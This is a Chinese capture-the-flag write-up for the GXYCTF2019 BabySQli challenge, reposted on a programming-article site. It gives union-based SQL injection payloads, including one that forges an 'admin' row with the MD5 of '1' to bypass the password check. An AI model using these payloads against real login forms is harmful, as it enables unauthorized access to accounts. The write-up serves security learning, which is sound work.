[GXYCTF2019]BabySQli
2021/8/15 19:05:48
本文主要是介绍[GXYCTF2019]BabySQli,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
先查看f12找到一个目录,进去之后继续f12有一段base32,继续base64解码得到 select * from user where username = '$name'
所以也就知道后台检测是账户和密码分开的,先检查是否存在指定的账户,然后把该账户的所有信息都查询出来,再和输入的密码进行比较。
密码比较这个过程,很有可能是md5之间的比较。
我们通过查询字段数可得为3个,可推测分别为id username和md5之后的password。
用联合注入,
1' union select 1,2,3#
回显wrong user!,说明用户不在第一列
尝试将admin放在第二列的位置,
1' union select 1,'admin',3#
回显wrong pass!,得到用户名是在第二列的位置的
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
这题和bluecms中的一个漏洞是一样的原理。
联合查询构造虚表,利用构造的虚假信息进行登录。
-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
其中md5(1)=c4ca4238a0b923820dcc509a6f75849b
要注意加单引号。
最终得到flag
这篇关于[GXYCTF2019]BabySQli的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-15在使用平台私钥进行解密时提示 "私钥解密失败" 错误信息是什么原因?-icode9专业技术文章分享
- 2024-11-15Layui框架有哪些方式引入?-icode9专业技术文章分享
- 2024-11-15Layui框架中有哪些减少对全局环境的污染方法?-icode9专业技术文章分享
- 2024-11-15laydate怎么关闭自动的日期格式校验功能?-icode9专业技术文章分享
- 2024-11-15laydate怎么取消初始日期校验?-icode9专业技术文章分享
- 2024-11-15SendGrid 的邮件发送时,怎么设置回复邮箱?-icode9专业技术文章分享
- 2024-11-15使用 SendGrid API 发送邮件后获取到唯一的请求 ID?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 tags标签最多有多少个?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 怎么批量发送给多个人?-icode9专业技术文章分享
- 2024-11-15如何搭建web开发环境并实现 web项目在浏览器中访问?-icode9专业技术文章分享